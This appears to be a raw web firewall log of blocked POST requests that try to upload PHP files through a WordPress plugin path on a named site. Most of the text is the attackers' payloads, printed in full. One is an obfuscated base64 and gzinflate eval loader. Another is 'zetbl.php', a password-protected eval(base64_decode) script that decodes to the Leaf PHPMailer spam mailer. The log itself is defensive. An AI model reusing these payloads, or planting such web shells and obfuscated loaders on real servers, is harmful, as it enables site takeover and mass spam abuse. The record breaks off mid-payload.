T3VPTzZSaDdJbURuaGV5Rnc0a204RU1rME1mKzdoUGorTVQyUm5rTTJDMzBnYVZIUWZPT1JtNHJwMVp3QUd2TGpyZXN1cnR3NHZVK1Zla1R1UzF4SEV5cERUOG5GQmNlY0ZtQkVUMTl6K1krRll0MGYrcGwrd05Ta2h1SVd1MU5nNlA4MFZEcHZBZjJQSCtwZzZZV1dtcFdLazNYOHJXZEl3RkxLQ2RHcE81dStlUG85TmcwemxOOWtybHBPckdpUE9MalZkTW5RYWVnenp2U0VBaUpMZjd6OTViQzNZRjBFQlBuWmxuR0p4eEllQWYvOHlCbkc2M0t5TzE2Z0V4eWRQamZ5ekFNWUg1NEJGT0JiN1pqdDZYeWNZUlovTmtCSFRTMUVSelJKVUpXTlhFZWhxdmtkSjFPUGtFc1RiU2hZSmZ6MTBkeXhId0ZRc3llN295emE4VlFMRTlwTWJNa0FtVmRoY3FPZGJiVlNKME5RcmpBR1c3VC9nQXFEb3dzRnNTQTdoSkJvWGVmTDRuMkFwZ0JkbmJCVm1HaEphOHBCQkU1STl0bWJiaDVlRWFyVjFLcVluZUF4T1VSU0dQSEFBdlMvV0dENU16VCtCL2lSaEE5Ym1MQkExYmhHQzRQMlI3ZVpidXdOcVI2aHNXdUtKNS9nUmwrWkJQUnpnTmlhdE54eXZkZHRROTNLWGE5b3lic280bVFnRlM1YlA1VEFMWUVYSWlnYmdKaHVpcFFpR1FhU1dOLzJOQlB4N25WMW5wb0JXL0VsK2dBRHJmK2tYYVJmNTIvQU1venlwZzNXcmdVSDg4eHZsdC9ISU4vS2FjdnY2SHZuWXJHM1k2K1lKY3RCQ251QTVjeXk5OVltMUdlREl1ZmJmNmtmSmNoUjhTMDQ1eTlQU0k0NFBSVXRja2hJZkJza0lqUUZRZVhDdmE3TzBQdWo0aUp1NWpleFVtOEFaWnU0WVBiaDJmd05aWTlGYlFLNkhSK2k4aTFOUzBKVzBjM3dGcTBiempJOTJNTGNpaUpDc2REUVM3SEpzbEhKckRZQlp5QTd1ejBnSWZjQnI0ckhFRVFzQVZBaGRXV3hab1B2TExXUGc1T1JlS2hBOTlzQXVCQTRKT0VaVVpYU1g3aTJZOHVmVkRRejVYT2h5dHlMVFlQWmtPQzNkeG5ENTU0QmgvczdNUUxvTUdYK1NtWk5XczlxcG52aVpna0dQUjVtRFRCSXpKK2NBZTk1STZERDJLN2YrMlRudE44VDIwTm03N0RjWmt0NGcvRXNHQStjd1lZZ3hiTUdMR2dtVElYY1RaZVFzd1BRUUJOdFdhcVFacnpnSlc1N3hyNGJwalZ2WlUwb0JjL282Q3RqcGJVQ01QRUVMMTBDSDFNQWViNEtBVDU2K3VlWnZxeGd3UHZUY05EN3R2OGtqNEI4SFRjaHc0ZXkrUWF6MGIzQkRwS2J1Z0JaZGVwQnJzc2Z3SGE5YU8rdHozM2pVQTM3OVVheTJ0RUVlMUd6UVN6SDMrejNTY3Z6YzZnU0V0L1Q3RWR5UC9sZzlodjZ2N2wrUGl3MUdnTmpIc3VPZ1JNQTY0SUd4QUNTYldlelQ1QVJIQjAxU003N0NDN0hlQUo2V25jU1VRcittaXVzZjFBV0xnQnVDMTFBemNSek5aNHVidERWeE50SXoya1Jac3dXWkE4SGRkQWc4d3FRMVRxbE1LRXhadE9JbXhBTFM0R1NnWk5mMnJmRzgzZVVCRm1BSU9rak1qOCthTHEvc0lBTytpTTU1NmlRY29lWTk3NXpHeTBqV0VYNUE2VVYvQVFic0kvbnVLQXA0QmhNZ05CT1JhOENOOWhsS0k1d1VBcTBMa2dtdHRwd0pLZGkrc2ZUdG5hQ01iNjNhL3VhOGVXSDFMRjlHeXN6MUM0VFk5SzEyNURnSEl2L1RNSVdKc1Q2WjJFNHRVYmV3UDNPR25lNGhGYndxWEVsMU43eGY4ME84cjA4UVViaDJWa2xCTGg2WFFOWGVnUmcvQkJWRnpVc3dOcHpqdDIzTlowcit4QjhjdFJQQ0pIcmVYMUlBOTJnTDF5Wmd0TEE1aXZUNk0wa2xJRnE4SFpXNldiNkJZZlQ1R2hkSkFEMDh5TlBjZ1VaTi8vQUpYd0VvdkJ3eFJLcFYzTTc1QXB4QXU5U3dQVDljK1lOREw3dVV3eGdETlltRkgydDBzaFRqM1FBVzJ2VGpyaGxHWUVpSDAyVlA0SVpXU24yQUxqRXZHSUU1NUhOY202bmVrU1d4T29QMDBNMDlvKzRkNzJDOUtoWk1OZ0NRU2lzb3hUMmNYRFBXaGY2SmJzRGh3SFpSczVma0lxZlFjZXhDSkFwd2NBdlVPMWJmSDNPb1QxUWtlV25RU2tMbUlPVzNVdFF3Y3A0SFRLaThOMEhmK3VOeWpQUlJXWU1kRGE1Ny8rd2xnNFhFdHpSNDZQcHlJc1h3NjJsWGxFZE0yeTNKalQrTXVXeXpwMlZ0Z01WaDcvUEtmMExod3dUKzd2b1JzMzZlKzNJUU9EYSttdWpDb3dsSS9KbGRwKytxc1U5TFN6bElNUmd5N1g3Syt3UDQrSDQzZy93R2FERjdjUGJmQ0hJemIzbWxlOGJPeXZCR25CdDFzQkdJZWlVcXdlYno0TU1LNm1CRFU2WEhhWjI1dGU1WmtGZDdYT0g3VnRhVVplVUNVVEIrWFR4MFNaSW9TcVpHTXk0NGNyWDh3MUxIbXk3UEZYeEEvMjRUSXlDWmJJelF4a0s2VVg5NENFUVJpSHpHR0htTGNaZGdkY1Q4UEZlWU05ZmNlQTFpc29mazA2ZVo0b3NHcDFUcTBWa3NhVFVlSjQxQVMrTzhVUzd2KzIzNFRHVHRSc3ZWRWhMTm5sY05FTms2eFpubjI2cldKeEZTa2hxN1VNbFlra21MTlJwNU1sWU1CZUVaNVBxRWZ6dEM4aHY4WUtIUENaakI3MkYwN3U1aFo0OE9UMU9IbkdLb1lUY2VCN285aEZHeDRqNUN6L0JyT3dEeFVJclkzZklmN2RwdTFzTVdhSWNHSkRuUHNqbWFNSll2SlhoMVBvd296ZWhmaUEzSjJpdzBIenh1UzlKcklvaUlYWE1LSC9YeHlLZ2YvdzRlTGc0TGtmclVBUWZlL0FPNXB0akdKWjIxdldXM0ZqQ2h6WFMwYStxZTRPNGlTS09zcXBIYWdzT2lSS2ttbXRyQS94cC9YbzZ2bDZiSFJHZXRWMEZ3Y0Q0clVIOXNhdWhSNFJDaDE3ZUNaRjNtM3MzU3BvdERZMXVhck1sUExaMm5kaVJ6MWpuVW9xYTlTUHpaWHlKS1QzREhzWG1jMXRjQ2pEemNnWVpIUHZsUVZxM0x0eHgrdERDSWpUWVBiU3prTnFtRk5tNm1zSmlLbjAwYnRmNXZYSzJBSlcrWG52Z0xHSEpjTTZJYjVhR1pBaThPQzJ4dS9IeTM4bEpjU2VXaW9JQXNySTdraEpiSS9UdGtGQkZjR3dSK1lrbU11QjdPbzhEdmsxLyt0cnZWTzU2cEY1RFltQXY2SGNtZ2ZEYitRc1VBS3p2L3NFNEJFN2dtZTJEL21QTFR6OEF2ZGYyUEhwQ1p6TFBvTlNody9kZGt2bWdONHYzS25CS2Jaa1BZYnBLMEVGamxHOXZrTm0zbFNQaE9KekloZ2ZSQkZ4bFNvbUk3M0VzWmUvK2hOSW1hdi81cmk4dFpKTXhqbE9HVWlCL2FEbDlaUi9Keis1ZFVsbjlZRFA0bmt0N0lSUDVPejJraTRqdGxVcW15aFFZQnVoRi9mYUtOSXBCVGhVWUYvRlZBVzQrVGNJbGQ5cHgyaEI5bDBmOXFLd1FhR2VIVTdCZXYrYmtxM3BrMEh1RDNoVnI3Y0QwU3hHUVloekhZYTc5MkxLTXdIQ2V6UnIrR1lReUFMOWpDaGx3Mk4raDRWTGY0QWlIOGhBQllkK2RnVEVzT1pSVGpUeTd0dTM1dkVHYncyNzlUamloYUVUaEU5bFhudEJYM2U4OTBiclh2NmFTdUlxSGc0eHBqNENhenkyRXc2RkcxWUdmYndOb2VxdzRGcXhLWUdSMHQwY0gxS3BROGIwQzhqZ2dWOGx2a0hOampsY01QL3U5cDI3TWI4d24vcCtLNGdjeWdIMFEvdDVGbmE0bVlHYVh5dlZORnV1UTZSbEhKUXRRcFJlUkxTL0tBRVNVSGlZb21GdndGZElFbEdIbjdCN2J6U0duRFRuLzZUNk9CL0xaeHl2S2NGL00rQTlqN2hmKzdHbmhyYitPOWtESVQyZmFoVXJ5dm9VSEVOUVRScUg1QUpVMDVKWjNSWXdkdjdGYU1NME1IdFdtaGlyUjRjNHlwd0VWd1JjcmY0L0NnOGZQQno0enh1NEVpRGl2aWlhay9vMlE0SUxUbFBFV0xldWhINnoyQUtDQXZlVVM1Yy8ySEhlSUI5OTdKQWx2ZGxLTDBOSEJKODdUdThWLzlYNmhPMnphY3E4THgvSmhJNEd3M044TFVTZEVRVG9ZZzEydXl0dFJPWmNpV0pvQk5QdVpZQ1VBZU41N2NuS0tBVTB5Y2FJMnNEVWN5RmE4S1BiWE1pLzVzL2ZCSk0weitvcWJHVzlwSnV6Nis3dm4zZ2hmSzMydi8yeFFrU3VpczNDUEpOd0dSWGdvcmdweUtDakFvWmsrU1ptWDhXYSsvZjR4WUNMRXZqd1p3bEhKallaeGo5Nm51RUYra0xZdVVRRTdsUHJnZUl3ZE5hZ1Q4SGtZRi9xeUw1b3dNUDNISTkzV0dLbTloQzNJNUVMNXBmdnpOazVSUER0VFNCR2hKZWI5dzBXWDlwdXd0Vlc2QWJLVFYrcEFJRjY5MGk3ck9vZGFXeDh6bnhYc3FjdmZsZHNTL2VRVWYrb05vSnBuOWM1eHpBM0RBUXoycjR6TlNjaEw4bi9VWm9hN00wN0JRYytJRFZsOWxsOGNpbDQrYnVzU1lHSjVnbUVyOGJUR2pMR1BSOWNmSE04YVhPWTh3LzUzV05GYVlCdkgvaGZnN1l0NW5RMnhvOWN5S3RENHhsQkJmeVM5RlJNSlladU94WUUwS3JZYkQ3Q01paWRnTDdxa3pyR0lONmN1OWt6OGdUSCtMSjU5N0RXTlhUTlBGamVjZUNDRHF3QzAyelA4Q0czKzlUZTRlelhWMzNQcUN4YTRBaWNScHhNS05wZUJTYnhYMCs0SXpzWGtmSTFxMy9mL3liTUdnZGpUUDRBK3FmWUZFNUVQTmFjQjRPcWVjRkE1KzVkTHlGTmpzd1ZsLy9OcWNQODZ5UWhranJkeFAzYWxrcFRtSFl4RXJwb1JpcFltWnNINm50OWgza0t5VkRGWGtYaDBMOUZsRUQyTytqUm5nZjVKQWFLNTJJczc4Y3hFaXVyclkrV25FR1BMWFROdEpPWU0xZmlybldzUGlDMWdvWnVib0lEM1ByOGVTdmdLWUhaNnUwV1hZb0tKandRYldDeFdBNnVac0NsWWdQRE5zQlRxNWR2SE1GZm9ZTGI5eG52YmpoMVBmbWJ2MGozWnp0VDNoekZSNmdqbU5seFMzRE9IRU1STVRLUUh5WEl6eElXMU5GUnBaaWs0RW05bFpwcVl1MFJKZHlVVThIT2R2SHY1dlZCT3I4WUhGL0JiNURWbE1sRnRGS0hNWjZMbUcwbC9JS3h1L2lFWkpwMDlkSFR4LzlucXpRcHRPTTd2enNkeVZnd095VG5SRzVGLzUxRVI5ckgweVJOWXdJdmNMV291RDNPM0IrSkJBdGEyTTJOWVArZGFseXJ6T2xvYURMd3NpNXpySUhzazYwcFYxOEw1MndGMTFPWERrYmNYQWV6QlNqa29FWkpEcDE4YitOa3QxdXVIeHU2Q2dDMG5mbDhzZDIvOEtGUnlUZEJ0NmZXZ1lMNUJYNzZxeFI0LzkxeW1qQlRaRHo4T2tKSCtsd3pucytJYXdiVEFGQ1cxV2l0RUU4SlR6SkMxUkZsTzcwdGlmRWVCRXU0M3pzb1p3NlpYY3JBMU1HeHZnRjdNQmNYdjF2TVgzSWE1V2NMMjdyeEZkS09iMWNQM1JBMzRIUXpGK3B3Y3UwQjUvOXQ5RmR6WFZNeG53NGt5UzVZL0tHVHdoL05XMW01bUpodDlSa1Z2eFh3M0RKSTNFWnA3eUoxVXo4dTdpblhmaXNQTGc4MnI0ZThvVS9Xck9aUjRlcGZ4U1dkZWlHVEFaK01MSWRFc3o3RE1WZVduSkdza3YzSUZhTzN5TVd0WmRpWUw3Y0tjVWZXTVRkdnc0akU3dFB2aUVTY1FjOUJPOFdUZityUGQxRnJiVERRL3hqLzRBOVRmdDRJUmd0eU4zMC84WEFpbzJQMTlEckZZWTN2Y2x1Rm5ndjA3dDNGbm4xMzhxenh2Rk8vWGYrT2lRUU0zWU1hU0gvNHlmWDUyVy9BQ1Bsci84enNodmZ0dlFqMHY3YnV0ZHlQV2liNktsRzROZi9JblU0TVBPc2ZVUm4wWXI2VnBiL3B2UmtxbWYyRklZNzB1eEVtcGZZOHQvYXJsZFdmRWdqTDM2SUJHenNRS2U5UFJUc09ieG1yb2QrcnVvamFhYUpFekMybjl1aGMvcksyTXYzKzc2VkhaY2VaTzN2TkV1akc0YWtSTGRhNEo3S0laS2ViLzdUVk1ZVDNsM1Q5Y2tBOHc5NStjLzJIMzRkKzVJTUp6L3hYejBBdndLTkh1TlR2VDVoQnNUZi85YmJKVFRwWUZ4SE92NjNyL08wci9weHl6Mlo0SGZUTjQwTlRXWWVyMkNGN01LejJEZmZLZGVkRDNkMS8rekVWbFhXdXluUGJvZUk3OUgzdi9oTzI5ZFBicFA0N0pFUFJ5cUg0KzhiS1NMbTNyVnI0bitseUlsaysra1hTbHhpc3ljMnlldnpYRU9lcnN6K1JENFcwN2p0djB0RVMvNlQ2cXA1ditiSGJrbjlkTkFPK3ZwR2VrcnVDN3piVkU3a0VaenhlNENYLysrbmhTMjRsL2FXZU1PR2h3dGxkTjdHekdzNEgrNXlPSjMrZEhVc25qazVNTHZlMlQ2NGtyRytvV0YrR2ZvOXd2L3lUWmRZdmd6bEhpeldWUjJaaU5rN3h2OUIrMGhOVTlBc2YvNGFLVVpiclZkOEtwV1Z5aGZMT2JLVjRqYlJjeTBFaExiZTNZSTJ1UUUySmJjTmY0ZXB5VlN4cDQvOHV6b0pJT3haSjFHL3pQU0ZPbUdMQ1RnUUtXWlF3THhhUWE3dE9rRlpJa0dSOGVKZnY0VjhMbjRTbVIvN0xLT08wb2l3T2tubmVvMzcvY2k5Z0ZBajQ2cEZRditqRXgyWkxFeTFBRk5qY3lkaUkwSHpCSWYrcEIzWE1JU2hBSEQrdnduelBSUUVtRk9JM3U5dVRsSG9odW52RlZUaEduSlIzNzluLy84TjI3UXZkZDM2LzM2L3ZzZzhwdjU1Zit1NE1GLzhMY0pqc2pIMndETjV4OWR3LytTODA1YURWTTB3MS9OdlRScHAxY2VSYVFkTDBrdTNrWE9GRUpjOXZQaDFPUDd1bWlRcmJxNzZCRzd1Z0taYXFYTmZuSHlvbDc5aVcrU3V1T3A4WTZONjltM1g5dW52OC92MnZ2NVZuYy9mLy9kdDMvc0hVQi8vVy8veDlFVDYvS2NDOXovbC8wLzVmV1RGRWFsNTQvM3ovL3lPR2padnNpWHgvdnovL2wrLy84Ly85L3Z4L3Y2Ly8wVlZ6L0gvdjdIY3dCRGNJY0dhMjk3NXRxUFVuWmliU1lyNG83VFFZTGFaOWgvbHdxcm9GMFQyb0pGaldlR2JOMDNueHAyVWlESnppc0gxTFRjaTNmd0Q0REE4SDhBK0FBIjsKZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZShnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkc3R0MSkpKSk7Cg==\"));\r\n--820ea374cd2beaf84e7e8b7987ff2cf6\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--820ea374cd2beaf84e7e8b7987ff2cf6\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--820ea374cd2beaf84e7e8b7987ff2cf6\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--820ea374cd2beaf84e7e8b7987ff2cf6--\r\n"]
["2026-05-26 21:53:44","170.205.30.68","POST","\/wp-content\/plugins\/gfrmz\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/gfrmz\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=161d2eb4e898ede9f463cffe0642ef32\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:222320\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--161d2eb4e898ede9f463cffe0642ef32\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--161d2eb4e898ede9f463cffe0642ef32\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--161d2eb4e898ede9f463cffe0642ef32\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"zetbl.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\n$password = \"xleeeeet\"; \/\/ MaILER Password \n\n\neval (base64_decode(\"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiAgICAgICAgcHJpbnQgIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9J3Bhc3MnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiI7CiAgICAgICAgZXhpdDsgICAgICAgIAogICAgfQp9CgpzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CgoKZnVuY3Rpb24gbGVhZkNsZWFyKCR0ZXh0LCRlbWFpbCl7CgkkZSA9IGV4cGxvZGUoJ0AnLCAkZW1haWwpOwoJJGVtYWlsdXNlcj0kZVswXTsKCSRlbWFpbGRvbWFpbj0kZVsxXTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstdGltZS1dIiwgZGF0ZSgibS9kL1kgaDppOnMgYSIsIHRpbWUoKSksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWwtXSIsICRlbWFpbCwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1lbWFpbHVzZXItXSIsICRlbWFpbHVzZXIsICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWxkb21haW4tXSIsICRlbWFpbGRvbWFpbiwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21sZXR0ZXJzLV0iLCByYW5kU3RyaW5nKCdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eicpLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbXN0cmluZy1dIiwgcmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbnVtYmVyLV0iLCByYW5kU3RyaW5nKCcwMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbWQ1LV0iLCBtZDUocmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JykpLCAkdGV4dCk7CiAgICByZXR1cm4gJHRleHQ7ICAKfQpmdW5jdGlvbiBsZWFmVHJpbSgkc3RyaW5nKXsKCSRzdHJpbmc9dXJsZGVjb2RlKCRzdHJpbmcpOwogICAgcmV0dXJuIHN0cmlwc2xhc2hlcyh0cmltKCRzdHJpbmcpKTsKfQpmdW5jdGlvbiByYW5kU3RyaW5nKCRjb25zb25hbnRzKSB7CiAgICAkbGVuZ3RoPXJhbmQoMTIsMjUpOwogICAgJHBhc3N3b3JkID0gJyc7CiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRwYXNzd29yZCAuPSAkY29uc29uYW50c1socmFuZCgpICUgc3RybGVuKCRjb25zb25hbnRzKSldOwogICAgfQogICAgcmV0dXJuICRwYXNzd29yZDsKfQpmdW5jdGlvbiBsZWFmTWFpbENoZWNrKCRlbWFpbCl7CiAgICBpZiAoZmlsdGVyX3ZhcigkZW1haWwsIEZJTFRFUl9WQUxJREFURV9FTUFJTCkpIHJldHVybiB0cnVlOwogICAgZWxzZSByZXR1cm4gZmFsc2U7Cn0KIyBCdWxpdC1pbiBCbGFja0xpc3QgQ2hlY2tlciAKaWYoaXNzZXQoJF9HRVRbJ2NoZWNrX2lwJ10pKXsKICAgIGlmIChpc3NldCgkX0dFVFsnaG9zdCddKSl7CiAgICAgICAgJF9HRVRbJ2hvc3QnXT1leHBsb2RlKCIsIiwgJF9HRVRbJ2hvc3QnXSk7CiAgICAgICAgZm9yZWFjaCAoJF9HRVRbJ2hvc3QnXSBhcyAkaG9zdCkgewogICAgICAgICAgICBpZiAoY2hlY2tkbnNycigkX0dFVFsnY2hlY2tfaXAnXSAuICIuIiAuICAkaG9zdCAuICIuIiwgIkEiKSkgJGNoZWNrPSAiPGZvbnQgY29sb3I9J3JlZCc+IExpc3RlZDwvZm9udD4iOwogICAgICAgICAgICBlbHNlICRjaGVjaz0gIjxmb250IGNvbG9yPSdncmVlbic+IENsZWFuPC9mb250PiI7CiAgICAgICAgICAgIHByaW50ICdkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiJy4gJGhvc3QuJyIpLmlubmVySFRNTCA9ICInLiRjaGVjay4nIjsnOwogICAgICAgIH0KCiAgICAgICAgZXhpdDsKICAgIH0KICAgICRkbnNibF9sb29rdXAgPSBbCiAgICAgICAgImFsbC5zNWgubmV0IiwKICAgICAgICAiYi5iYXJyYWN1ZGFjZW50cmFsLm9yZyIsCiAgICAgICAgImJsLnNwYW1jb3AubmV0IiwKICAgICAgICAiYmxhY2tsaXN0Lndvb2R5LmNoIiwKICAgICAgICAiYm9nb25zLmN5bXJ1LmNvbSIsCiAgICAgICAgImNibC5hYnVzZWF0Lm9yZyIsCiAgICAgICAgImNkbC5hbnRpLXNwYW0ub3JnLmNuIiwKICAgICAgICAiY29tYmluZWQuYWJ1c2UuY2giLAogICAgICAgICJkYi53cGJsLmluZm8iLAogICAgICAgICJkbnNibC0xLnVjZXByb3RlY3QubmV0IiwKICAgICAgICAiZG5zYmwtMi51Y2Vwcm90ZWN0Lm5ldCIsCiAgICAgICAgImRuc2JsLTMudWNlcHJvdGVjdC5uZXQiLAogICAgICAgICJkbnNibC5hbnRpY2FwdGNoYS5uZXQiLAogICAgICAgICJkbnNibC5kcm9uZWJsLm9yZyIsCiAgICAgICAgImRuc2JsLmlucHMuZGUiLAogICAgICAgICJkbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJkcm9uZS5hYnVzZS5jaCIsCiAgICAgICAgImR1aW52LmF1cGFkcy5vcmciLAogICAgICAgICJkdWwuZG5zYmwuc29yYnMubmV0IiwKICAgICAgICAiZHluYS5zcGFtcmF0cy5jb20iLAogICAgICAgICJkeW5pcC5yb3RoZW4uY29tIiwKICAgICAgICAiaHR0cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJpcHMuYmFja3NjYXR0ZXJlci5vcmciLAogICAgICAgICJpeC5kbnNibC5tYW5pdHUubmV0IiwKICAgICAgICAia29yZWEuc2VydmljZXMubmV0IiwKICAgICAgICAibWlzYy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJub3B0ci5zcGFtcmF0cy5jb20iLAogICAgICAgICJvcnZlZGIuYXVwYWRzLm9yZyIsCiAgICAgICAgInBibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJwcm94eS5ibC5nd2VlcC5jYSIsCiAgICAgICAgInBzYmwuc3VycmllbC5jb20iLAogICAgICAgICJyZWxheXMuYmwuZ3dlZXAuY2EiLAogICAgICAgICJyZWxheXMubmV0aGVyLm5ldCIsCiAgICAgICAgInNibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJzaG9ydC5yYmwuanAiLAogICAgICAgICJzaW5ndWxhci50dGsucHRlLmh1IiwKICAgICAgICAic210cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzb2Nrcy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzcGFtLmFidXNlLmNoIiwKICAgICAgICAic3BhbS5kbnNibC5hbm9ubWFpbHMuZGUiLAogICAgICAgICJzcGFtLmRuc2JsLnNvcmJzLm5ldCIsCiAgICAgICAgInNwYW0uc3BhbXJhdHMuY29tIiwKICAgICAgICAic3BhbWJvdC5ibHMuZGlnaWJhc2UuY2EiLAogICAgICAgICJzcGFtcmJsLmltcC5jaCIsCiAgICAgICAgInNwYW1zb3VyY2VzLmZhYmVsLmRrIiwKICAgICAgICAidWJsLmxhc2hiYWNrLmNvbSIsCiAgICAgICAgInVibC51bnN1YnNjb3JlLmNvbSIsCiAgICAgICAgInZpcnVzLnJibC5qcCIsCiAgICAgICAgIndlYi5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJ3b3JtcmJsLmltcC5jaCIsCiAgICAgICAgInhibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJ6Lm1haWxzcGlrZS5uZXQiLAogICAgICAgICJ6ZW4uc3BhbWhhdXMub3JnIiwKICAgICAgICAiem9tYmllLmRuc2JsLnNvcmJzLm5ldCIsCiAgICBdOwogICAgJHJldmVyc2VfaXAgPSBpbXBsb2RlKCIuIiwgYXJyYXlfcmV2ZXJzZShleHBsb2RlKCIuIiwgJF9HRVRbJ2NoZWNrX2lwJ10pKSk7CiAgICAkZG5zVCA9IGNvdW50KCRkbnNibF9sb29rdXApOwogICAgbGVhZmhlYWRlcigpOwogICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNiI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkJsYWNrbGlzdCBDaGVja2VyPC9zbWFsbD48L2gzPic7CiAgICBQcmludCAiQ2hlY2tpbmcgPGI+Ii4kX0dFVFsnY2hlY2tfaXAnXS4iPC9iPiBpbiA8Yj4kZG5zVDwvYj4gIGFudGktc3BhbSBkYXRhYmFzZXM6PGJyPiI7CiAgICAkZG5zTj0iIjsKICAgIHByaW50ICc8dGFibGUgPic7CiAgICBmb3IgKCRpPTA7ICRpIDwgJGRuc1Q7ICRpPSRpKzEwKSB7IAogICAgICAgICRob3N0PSIiOwogICAgICAgICRob3N0cz0iIjsKICAgICAgICBmb3IoJGo9JGk7ICRqPCRpKzEwOyRqKyspewogICAgICAgICAgICAkaG9zdD0kZG5zYmxfbG9va3VwWyRqXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRob3N0KSl7CiAgICAgICAgICAgICAgICBwcmludCAiPHRyPiA8dGQ+JGhvc3Q8L3RkPiA8dGQgaWQ9JyRob3N0Jz5DaGVja2luZyAuLjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgJGhvc3RzIC49IiRob3N0LCI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGRuc04uPSI8c2NyaXB0IHNyYz0nP2NoZWNrX2lwPSRyZXZlcnNlX2lwJmhvc3Q9Ii4kaG9zdHMuIicgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz48L3NjcmlwdD4iOwogICAgfQoKICAgIHByaW50ICc8L3RhYmxlPjwvZGl2Pic7CiAgICBwcmludCAkZG5zTjsKICAgIGV4aXQ7Cn0KaWYoaXNzZXQoJF9HRVRbJ2VtYWlsZmlsdGVyJ10pKXsKCiAgICBpZighZW1wdHkoJF9GSUxFU1snZmlsZVRvVXBsb2FkJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkX1BPU1RbJ2VtYWlsTGlzdCddPSBmaWxlX2dldF9jb250ZW50cygkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsidG1wX25hbWUiXSk7IAogICAgfQogICAgJF9QT1NUWydlbWF